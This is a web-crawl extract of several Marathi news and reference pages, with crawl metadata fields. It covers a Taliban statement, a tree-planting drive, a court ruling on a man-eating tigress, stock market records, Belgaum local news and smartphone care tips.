तालिबान संघटनेने पुन्हा एकदा घेतली आहे.\nशांतता प्रक्रियेबाबत चर्चा करायचीच असेल तर ती आम्ही थेट अमेरिकेशीच करू असेही त्यांनी म्हटले आहे. ईद उल अधानिमीत्ता मौलवी हैबतुल्लाहे अखुंजादा यांनी जो संदेश जारी केला आहे त्यात त्यांनी ही भूमिका व्यक्त केली आहे. आमची इस्लामिक धोरणे आणि लक्ष्यही कायम आहे त्यातही बदल होणार नाही असेही त्यांनी म्हटले आहे. तालिबानी गनिमांच्या हिंसक कारवायांमुळे अफगाणिस्तानात गेली 17 वर्षे कमालीची अस्थिरता आणि मोठ्या प्रमाणात रक्तपात झाला आहे.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleइन्फोसिसचे मुख्य वित्तीय अधिकारी रंगनाथ यांचा राजीनामा\nNext articleशासनाची पीकविमा योजना फसवी\nराफेल व्यवहार : केंद्रीय मंत्री गजेंद्र शेखावत यांचे राहुल गांधी यांच्यावर ‘हे’ आरोप\nदेशाच्या चौकीदाराने गरीब, शहिदांचे पैसे अंबानींच्या खिशात घातले\nनेपाळमध्ये पोर्नोग्राफिक साईटवर बंदी\nशरद पवारांनी खोटं बोलू नये\n5 हजार कोटी घेऊन गुजरातचा व्यापारी परदेशात फरार\nयशवंत आणि शत्रुघ्न सिन्हा आपकडून निवडणूक लढणार\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00353.warc.wet.gz", "language": "mr", "language_score": 0.85, "bucket": "all"} {"url": "http://www.esakal.com/pune/save-environment-plant-tree-128245", "date_download": "2018-09-25T17:35:28Z", "digest": "sha1:2GM4FPF7ZJPQFGHAY5T57RLHU3TS2RZU", "length": 12526, "nlines": 180, "source_domain": "www.esakal.com", "title": "for save environment plant tree पर्यावरण रक्षणासाठी देशी झाडांची लागवड करा | eSakal", "raw_content": "\nपर्यावरण रक्षणासाठी देशी झाडांची लागवड करा\nबुधवार, 4 जुलै 2018\nशिर्सुफळ (पुणे) : सध्या पर्यावरणाचा समतोल ढासळत चालला आहे. या पार्श्वभूमीवर वड, पिंपळ, चिंच या सारख्या देशी झाडांची लागवड करुन त्यांचे संगोपन करणे आवश्यक आहे. असे प्रतिपादन बारामतीचे उपविभागीय अधिकारी हेमंत निकम यांनी केले.\nशिर्सुफळ (पुणे) : सध्या पर्यावरणाचा समतोल ढासळत चालला आहे. या पार्श्वभूमीवर वड, पिंपळ, चिंच या सारख्या देशी झाडांची लागवड करुन त्यांचे संगोपन करणे आवश्यक आहे. असे प्रतिपादन बारामतीचे उपविभागीय अधिकारी हेमंत निकम यांनी केले.\nकटफळ (ता.बारामती) येथे महाराष्ट्र शासनाच्या 13 कोटी वृक्ष लागवड कार्यक्रम अंतर्गत आयोजित वृक्षारोपण प्रसंगी निकम बोलत होते.यावेळी करून प्रांताधिकारी हेमंत निकम यांच्या हस्ते शुभारंभ करण्यात आले. यावेळी तहसीलदार हनुमंत पाटील, गटविकास अधिकारी प्रमोद काळे, अग्नीशामक दलाचे मोटे साहेब, विस्तार अधिकारी मारकड, सरपंच सारिका मोकाशी, उपसरपंच शरद कांबळे, यांच्यासह ग्रामस्थ उपस्थित होते.\nयानिमित्त कार्यक्रमाच्या प्रारंभी जिल्हा परिषद शाळेतील विद्यार्थ्यांनी वृक्षदिंडी काढून मान्यवरांचे स्वागत करण्यात आले. शाळा व जानाई मंदिर परिसरात वृक्षारोपण करण्यात आले. गावामध्ये यापूर्वीही 3000 झाडे रस्त्याच्या कडेला लावलेली आहेत. या झाडांची निगा राखण्यासाठी रोजगार हमी योजनेतुन 13 महिला मजुर काम करत आहेत. ग्रामपंचायतीच्या वतीने झाडांना टॅकरने नियमित पाणी दिले जात आहे. हेमंत निकम यांनी गावच्या या पर्यावरण रक्षणाच्या स्तुत्य उपक्रमाचे कौतुक केले.\nयावेळी ग्रामपंचायत सदस्य मुकिंद मदने, रेखा आटोळे, सुजाता झगडे, कस्तुरा कांबळे, सोसायटीचे चेअरमन कांतीलाल आटोळे, बबन कांबळे, भारत मोकाशी, रविंद्र कांबळे, बाळासो आटोळे, ग्रामसेवक अमोल घोळवे,जिल्हा परिषद प्राथमिक शाळेचे मुख्याध्यापक दत्तु हारे यांच्यासह ग्रामस्थ उपस्थित होते.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nपक्षीमित्रांनी दिले सातभाई पक्षाला जीवदान\nनिजामपूर-जैताणे (धुळे) : माळमाथा परिसरातील लोणखेडे (ता.साक्री) येथील जिल्हा परिषद शाळेचे प्राथमिक शिक्षक, पक्षीमित्र राकेश जाधव, गोकुळ पाटील व कढरे (...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00353.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.esakal.com/vidarbha/nagpur-news-maneater-tiger-shooting-order-cancelled-56211", "date_download": "2018-09-25T18:01:58Z", "digest": "sha1:K3VYTJGSHR4EM5HMM6RVGRGFBBNI6HQE", "length": 13280, "nlines": 175, "source_domain": "www.esakal.com", "title": "nagpur news maneater tiger shooting order cancelled नरभक्षक वाघिणीला मारण्याचा आदेश रद्द | eSakal", "raw_content": "\nनरभक्षक वाघिणीला मारण्याचा आदेश रद्द\nगुरुवार, 29 जून 2017\nहायकोर्टाने फाटकारले : मुख्य वनसंरक्षक स्वतः राहिले हजर\nदरम्यान, राज्याच्या वन विभागाच्या वतीने बाजू मांडताना अतिरिक्त सरकारी वकील केतकी जोशी यांनी याचिकाकर्त्याचे दावे फेटाळून लावले. मात्र, न्यायालयाने निकषाचे पालन केले काय, असे विचारले असता त्यांना अपेक्षित उत्तर देता आले नाही. दोन्ही पक्षांचे म्हणणे ऐकून घेत न्यायालयाने वादग्रस्त आदेश रद्द केला. तसेच सर्व प्रतिवादींना नोटीस बजावली. याचिकाकर्त्यातर्फे अॅड. तुषार मंडलेकर आणि अॅड. रोहन मालवीय यांनी बाजू मांडली.\nनागपूर : ब्रह्मपुरी वनक्षेत्रात दोन मजुरांना ठार मारणाऱ्या वाघिणीला दिसताच क्षणी गोळी घालण्याचा प्रधान मुख्य वनसंरक्षक (वन्यजीव) यांचा आदेश गुरुवारी (ता. 29) मुंबई उच्च न्यायालयाच्या नागपूर खंडपीठाने रद्दबातल ठरविला.\nब्रह्मपुरी परिसरात धुमाकुळ घालणाऱ्या वाघिणीला दिसताच क्षणी गाळ्या घालण्याचा आदेश प्रधान मुख्य वनसंरक्षक (वन्यजीव ) ए.के. मिश्रा यांनी २३ जून रोजी दिला. त्या आदेशाला आव्हान देणारी जनहित याचिका जेरिल बनाईत यांनी उच्च न्यायालयात दाखल केली. त्यावर न्या. भूषण धर्माधिकारी आणि न्या. रोहित देव यांच्या खंडपीठासमोर सुनावणी झाली. यावेळी प्रधान मुख्य वनसंरक्षक मिश्रा व्यक्तीश: हजर होते. याचिकाकर्त्यानुसार, प्रधान मुख्य वनसंरक्षकांनी वाघिणीला ठार मारण्याचा आदेश देताना राष्ट्रीय व्याघ्र संवर्धन प्राधिकारणाने (एनटीसीए) निर्धारित केलेल्या निकषांचे पालन केले नाही. त्यामुळे या आदेशामुळे धोकादायक नसणाऱ्या इतर वाघांना ठार मारण्याची दाट शक्यता आहे.\nएनटीसीएच्या निकषानुसार नरभक्षक वाघ म्हणून घोषित करण्यापूर्वी आवश्यक प्रक्रिया करण्यात आलेली नाही. त्यासोबतच हाच वाघ नरभक्षक आहे, हे सिद्ध करणेही आवश्यक आहे. त्याकरिता त्या वाघाच्या पायाची ठसे, कॅमेरा ट्रॅपमधील फोटो, मनुष्याला ठार मारल्याचे सबळ पुरावे यासारख्या निकषांचे पालन करणे आवश्यक आहे. त्यासोबतच कोणत्याही वाघाला थेट ठार मारण्याचा आदेश देता येत नाही. त्याकरिता त्या वाघाला बेशुद्ध करून पकडणे आणि नंतर त्याला प्राणीसंग्रहालयात ठेवण्याची तरतूद आहे. परंतु, त्या कोणत्याही तरतूदींचे पालन झालेले नाही, असा दावा याचिकेत करण्यात आला.\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nवीरप्पनच्या 9 साथीदारांची मुक्तता\nइरोड (तमिळनाडू)- दिवंगत कन्नड सुपरस्टार राजकुमार यांचे अपहरण केलेला चंदन तस्कर वीरप्पन याच्या नऊ साथीदारांची न्यायाधीशांनी सबळ पुराव्याअभावी मंगळवारी...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00353.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://m.divyamarathi.bhaskar.com/amp/news/sensex-pass-38000-level-first-time-on-thrusday-09-august-5934271.html", "date_download": "2018-09-25T16:42:41Z", "digest": "sha1:BPGAZOF2MHD5H37D2DNRGP6BAIIAFXBQ", "length": 6387, "nlines": 54, "source_domain": "m.divyamarathi.bhaskar.com", "title": "Sensex Pass 38000 Level First Time On Thrusday 09 August | Sensex पहिल्यांदा 38000च्या पार, निफ्टी 11500 च्या जवळ पोहोचला, सर्व सेक्टर इंडेक्समध्ये तेजी", "raw_content": "\nSensex पहिल्यांदा 38000च्या पार, निफ्टी 11500 च्या जवळ पोहोचला, सर्व सेक्टर इंडेक्समध्ये तेजी\nसेन्सेक्स 37,994.51 अंकांवर उघडून काही वेळातच 38,000 च्या पार निघून गेला.\n> सेन्सेक्सने 12 जुलै ते 9 ऑगस्टपर्यंत 19 व्यावसायिक सत्रांत 13 नवे उच्चांक प्रस्थापित केले. > निफ्टीने 26 जुलै ते 9 ऑगस्टउरम्यान 9 व्यावसायिक सत्रांमध्ये 9 नवे हाय बनवले.\nमुंबई - शेअर बाजाराने गुरुवारीही नवा विक्रम प्रस्थापित केला आहे. सेन्सेक्स 37,994.51 अंकांवर उघडून काही वेळातच 38,000 च्या पार निघून गेला. सेन्सेक्सने 38,050.12च्या उच्चस्तराला स्पर्श केला. निफ्टीने 11,493.25 पासून सुरुवात करून 11,495.20 अंकांचा रेकॉर्ड बनवला. एनएसईवर सर्व सेक्टर इंडेक्समध्ये तेजी नोंदवण्यात आली. बँक निफ्टीही 28,216 च्या आतापर्यंतच्या सर्वात उच्च स्तरावर पोहोचला.\nमोठ्या कंपन्यांसोबतच मिड आणि लार्ज कॅप शेअर्समध्येही खरेदी पाहण्यात आली. बीएसईचे मिडकॅप आणि स्मॉलकॅप इंडेक्स 0.5% पर्यँत चढले. निफ्टीच्या 50 पैकी 28 कंपन्यांच्या शेअर्समध्ये तेजी नोंदवण्यात आली. आयसीआयसीआय बँकेच्या शेअरमध्ये 4% पेक्षा जास्त उसळी आली. सन फार्मा, टाटा मोटर्स, एसबीआय आणि इन्फोसिसच्या शेअर्समध्ये 1.5% पर्यंत वाढ झाली.\nबाजारात तेजीचे कारण :\nविश्लेषकांच्या मते, गुंतवणूकदार सलग खरेदी करत आहेत. कन्झ्युमर ड्युरेबल्स आणि ऑइल अँड गॅस सेक्टरच्या शेअर्सची चांगली मागणी पाहिली जात आहे. विदेशी गुंतवणूकदारांनी बुधवारी 568.63 कोटी रुपये आणि घरगुती गुंतवणूकदारांनी 30.25 कोटींची खरेदी केली. अनेक मोठ्या कंपन्यांनी अपेक्षेपेक्षा जास्त चांगले तिमाही निकाल सादर केले. आंतरराष्ट्रीय नाणेनिधीनेही (आयएमएफ) चांगल्या आर्थिक विकासाचा अंदाज व्यक्त केला. या सर्व कारणांमुळे बाजारात तेजी पाहायला मिळाली.\nआजचे राशिभविष्य : जाणून घ्या, तुमच्या राशीसाठी कसा राहील सोमवार\nविधवा काकूशी पुतण्याचे अवैध संबंध, वाद झाल्यावर महिलेने केले असे काही\nमराठमोळ्या नम्रता शिरोडकरचा पती आहे 127 कोटींचा मालक, नवीन चित्रपटात करणार सीएमची भूमिका\nतुम्हाला माहिती आहेत का सेक्स संदर्भातील हे 10 रहस्य\nहिप्सची गरजेपेक्षा वाढलेली चरबी कमी करण्याचे खास आयुर्वेदिक उपाय\nबिकीनीमधील या मराठमोळ्या अॅक्ट्रेसचे वय ऐकून व्हाल चकीत, पहिल्या पतीच्या मृत्यूनंतर केले दुसरे लग्न\nआज या 5 पैकी कोणतीही 1 गोष्ट घरी घेऊन या, प्रसन्न राहील देवी\nतू व्हर्जिन आहेस का तो लग्नाआधी तिला विचारतो.. पुढे वाचा- काय घडतं मग...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00353.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/belgaum/page/10", "date_download": "2018-09-25T17:16:53Z", "digest": "sha1:KYWAUUPIUTPCVY24YRDOYG344JQKCUIB", "length": 9583, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "बेळगांव Archives - Page 10 of 795 - तरुण भारत | तरुण भारत", "raw_content": "\nतुकाराम महाराज शैक्षणिक ट्रस्टतर्फे गुणवंत विद्यार्थ्यांचा गौरव\nप्रतिनिधी/ बेळगाव तुकाराम महाराज सामाजिक-शैक्षणिक ट्रस्ट शहापूरतर्फे नुकताच गुणवंत विद्यार्थ्यांचा गौरव समारंभ पार पडला. कार्यक्रमाच्या अध्यक्षस्थानी तुकाराम बँकेचे चेअरमन प्रकाश मरगाळे होते. यावेळी गुणवंत विद्यार्थ्यांना शिष्यवृत्तीचे वाटपही करण्यात आले. कार्यक्रमाला प्रमुख पाहुणे म्हणून अश्वथ इस्लामपुरे उपस्थित होते. यावेळी बोलताना इस्लामपुरे यांनी सांगितले की, जीवनात यश मिळवायचे असेल तर परिश्रम, चिकाटी व प्रामाणिकपणा यांचा मिलाफ अभ्यासात दिसला पाहिजे, असे सांगितले. ...Full Article\nबेळगावच्या सुपुत्राला मिळाला राष्ट्रपतींचा एडीसी होण्याचा मान\nप्रतिनिधी / बेळगाव देशाचे प्रथम नागरिक असणाऱया राष्ट्रपती रामनाथ कोविंद यांच्या ताफ्यात एडीसी म्हणून सेवा बजाविण्याचा मान बेळगावच्या सुपुत्राला मिळाला आहे. नानावाडी येथील मेजर कोनराड डिसोझा असे त्यांचे नाव ...Full Article\nसंकेश्वरात भाविकांची होतेय गैरसोय\nप्रतिनिधी / संकेश्वर ‘राजा निलगार’च्या दर्शनासाठी भाविक थव्या थव्याने शहरात दाखल होत आहेत. भल्या मोठय़ा रांगेत थांबून दर्शन न घेताच अनेक भाविक माघारी परतत आहेत. मात्र कडक उन्हाच्या माऱयाने ...Full Article\nबाप्पांचे दागिनेही सुरक्षित नाहीत \nगणेश मंडपात श्रींच्या दागिन्यांची चोरी, पोलीस यंत्रणेने सतर्क होण्याची गरज बेळगाव / प्रतिनिधी ऐन गणेशोत्सवात शहर आणि परिसरात भुरटय़ा चोरांनी उच्छाद मांडला आहे. गणेश चतुर्थीच्या दिवसापासून चोरटय़ांचे उपद्व्याप सुरूच ...Full Article\nशेतकऱयांच्या ऊस बिलासाठी अधिकाऱयांचा बळी\nप्रतिनिधी/ बेळगाव ऊस बिलासाठी शेतकरी जिल्हाधिकारी कार्यालयाचे उंबरठे झिजवू लागले आहेत. तरीदेखील ऊस बिले मिळायला तयार नाहीत. ऊस बिलासाठी रास्तारोको, आमरण उपोषणसारखी आंदोलनेही शेतकऱयांनी केली आहेत. तरीही ऊस बिले ...Full Article\nदेखावे पाहण्यासाठी भाविकांची गर्दी\nप्रतिनिधी / बेळगाव अनंत चतुर्दशीला अवघे चार दिवस शिल्लक राहिल्याने मंगळवारी गणेश दर्शनासाठी भाविक बाहेर पडले. रविवारी लाडक्या बाप्पाचे विसर्जन होणार असल्याने सार्वजनिक गणेशोत्सव पाहण्यासाठी शहरासह शहापूर, वडगाव, अनगोळ, ...Full Article\nनिपाणीचे सफाई कामगार वेतनाच्या प्रतीक्षेत\nप्रतिनिधी/ निपाणी स्वच्छ भारत अभियांनांतर्गत मोदी सरकारने स्वच्छतेवर भर दिला आहे. त्यानुसार स्वच्छतेसाठी केंद्र सरकारसह राज्य सरकार व स्थानिक स्वराज्य संस्था आपल्या परीने प्रयत्नशील आहेत. अशा स्थितीत परिसर स्वच्छ ...Full Article\nलोकमान्य ठरली सहकारातील दीपस्तंभ\nकिरण ठाकुर यांचे प्रतिपादन : लोकमान्य मल्टिपर्पज को-ऑप. सोसायटीची 23 वी वार्षिक सर्वसाधारण सभा खेळीमेळीत बेळगाव / प्रतिनिधी देशातील प्रथम क्रमांकाची सहकारी सोसायटी असा लौकिक मिळवत लोकमान्य ही सोसायटी ...Full Article\nबालिकेवर अत्याचार, गोकाकमध्ये तणाव\nनराधम ताब्यात : संतप्त नागरिकांचा पोलीस स्थानकाला घेराव : पोलिसांकडून लाठीमार वार्ताहर/ घटप्रभा सात वर्षाच्या बालिकेवर अत्याचार केलेल्या नराधमाला गोकाक शहर पोलिसांनी अटक केल्यानंतर संतप्त जमावाने पोलीस स्थानकाला घेराव ...Full Article\nअमित तु परत ये आपण खेळू….\nप्रतिनिधी/ बेळगाव तो अवघ्या तीस वर्षांचा होता. अल्पवयात फुटबॉल सारख्या खेळात त्याने नाव कमावले होते. मोठा मित्रसंग्रह त्याच्या गाठीशी होता. सर्वधर्मियांत तो परिचित होताच पण अनेक मित्रांचा लाडकाही होता. ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00354.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/%E0%A4%86%E0%A4%A4%E0%A5%8D%E0%A4%AE%E0%A4%BE%E0%A4%B0%E0%A4%BE%E0%A4%AE.%E0%A4%AA%E0%A4%BE%E0%A4%9F%E0%A5%80%E0%A4%B2/word", "date_download": "2018-09-25T17:27:25Z", "digest": "sha1:ZMJSZQL2YHDNWHJ74GQIIKJD3ARM5KKV", "length": 4700, "nlines": 77, "source_domain": "www.transliteral.org", "title": "Keyword - आत्माराम पाटील", "raw_content": "\nपत्नीला अर्धांगिनी कां म्हणतात\nशिवाजी महाराज पोवाडा - शिवदर्शन\nइतिहासाचे साधन म्हणून पोवाड्यांचे महत्व विशेष आहे. पोवाडे हे गीत-नाट्यरूप असल्यामुळे त्यात मनोरंजन व प्रचार यांचा मेळ घातला जातो.\nशिवाजी महाराजांचा पोवाडा - पुरोगामी छत्रपती\nइतिहासाचे साधन म्हणून पोवाड्यांचे महत्व विशेष आहे. पोवाडे हे गीत-नाट्यरूप असल्यामुळे त्यात मनोरंजन व प्रचार यांचा मेळ घातला जातो.\nपुन . आंथरण्यापांघरण्याच्या उपयोगी असे कापूस भरुन केलेले वस्त्र ; रजई ; दुलई . लेपडी , लेंपडी - स्त्री . बसण्याची किंवा अंथरावयाची दुलई ; आंथरण्याची लहान गादी . लेपडीची टोपी - स्त्री . लेपाची खोळ ( चहादाणीतील चहा थंड होऊं नये म्हणून त्यावर घालण्याची ). लेपड , लेंपड - न . हलक्या जातीचा लेप ; बारीकसा व वाईट असा लेप .\nपु. खाडीमध्ये सांपडणार्‍या काळ्या पाठीचा व पांढर्‍या पोटाचा एक मासा .\nसारवण ; माखण .\nयज्ञोपवीत ( जानवे ) म्हणजे काय त्याला किती दोरे असतात त्याला किती दोरे असतात त्याच्या गाठीला काय म्हणतात\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00354.warc.wet.gz", "language": "mr", "language_score": 0.53, "bucket": "all"} {"url": "https://www.loksatta.com/lifestyle-news/how-to-care-smartphone-1661653/", "date_download": "2018-09-25T17:14:18Z", "digest": "sha1:FG27MFPN4Y4NB2XWVRXVMAQLXD5SLUPF", "length": 12393, "nlines": 204, "source_domain": "www.loksatta.com", "title": "how to care smartphone | सेल्फ सव्‍‌र्हिस : अशी घ्याल स्मार्टफोनची काळजी | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nसेल्फ सर्व्हिस : अशी घ्या स्मार्टफोनची काळजी\nसेल्फ सर्व्हिस : अशी घ्या स्मार्टफोनची काळजी\nघरात अथवा बाहेर सतत आपल्या सर्वात जवळ असलेला ‘स्मार्टफोन’ मात्र दुर्लक्षितच राहतो.\nआपल्या घरातील सर्वच उपकरणांची आपण नियमितपणे काळजी घेत असतो. टीव्ही, फ्रीज किंवा एसी सारख्या उपकरणांचे तर वर्षांतून एकदा-दोनदा तंत्रज्ञांमार्फत ‘सर्व्हिस ’ही करून घेतले जाते. पण घरात अथवा बाहेर सतत आपल्या सर्वात जवळ असलेला ‘स्मार्टफोन’ मात्र दुर्लक्षितच राहतो. स्मार्टफोनची अंतर्गत काळजी म्हणजे अनावश्यक अ‍ॅप हटवणे, फाइल्स हटवून मेमरी मोकळी करणे या गोष्टी आपण येता-जाता करत असतो. पण मोबाइलची बाह्य काळजी घेण्याचे फारसे कुणी मनावर घेत नाही. फार फार तर मोबाइल शर्टला घासून पुसणे, इतका सोपस्कार आपण पार पाडतो. पण स्मार्टफोनची बाहेरून देखभाल नीट केली तर तो जास्त काळ टिकू शकतो, हे लक्षात ठेवा. त्यासाठीच या टिप्स:\n१. कधीही नवीन फोन घेतेवेळेसच त्याचे कव्हर (केस) आणि स्क्रीन प्रोटेक्टर खरेदी करा. यामुळे तुमचा मोबाइल ओरखडे किंवा छोटय़ा-मोठय़ा धक्क्यांपासून सुरक्षित राहू शकतो. कव्हर असल्यास मोबाइलचे थेट धुळीपासून रक्षण होते.\n२. आपल्याला मोबाइल सतत जवळ हवा असतो. अगदी झोपतानाही तो उशाशी ठेवला जातो. मात्र, हे फोनसाठी धोक्याचे आहे. अनवधानाने तो खाली पडल्यास वा त्यावर भार पडल्यास फोनचे नुकसान होण्याची शक्यता असते. म्हणून वापर नसताना फोन शक्यतो सुरक्षित ठिकाणी ठेवा. त्यासाठी घरातील एखादी जागा निश्चित करायला हरकत नाही. ही जागा लहान मुलांच्या हाताला लागणार नाही, अशी असावी.\n३. स्मार्टफोन नेहमी कोरडा राहील, याची दक्षता घ्या. ओल्या हाताने फोनला स्पर्श करू नका. जेवताना मोबाइल हाताळणे टाळा. अन्यथा फोनची स्क्रीन खराब होण्याची शक्यता असते.\n४. फोन नेहमी स्वच्छ पुसत जा. यासाठी कोरडे टिश्यू पेपर किंवा अल्कोहल वाइप्स यांचा वापर करा. पाणी किंवा बेबी वाइप्सच्या साह्याने फोन पुसू नका.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00354.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.agrowon.com/agricultural-success-story-marathi-pokharapur-solapur-11279?tid=128", "date_download": "2018-09-25T17:57:17Z", "digest": "sha1:UALTHT6ZTZY7EONK3UVPJWFVPIFUVLPQ", "length": 24082, "nlines": 195, "source_domain": "www.agrowon.com", "title": "agricultural success story in marathi, Pokharapur, Solapur | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण 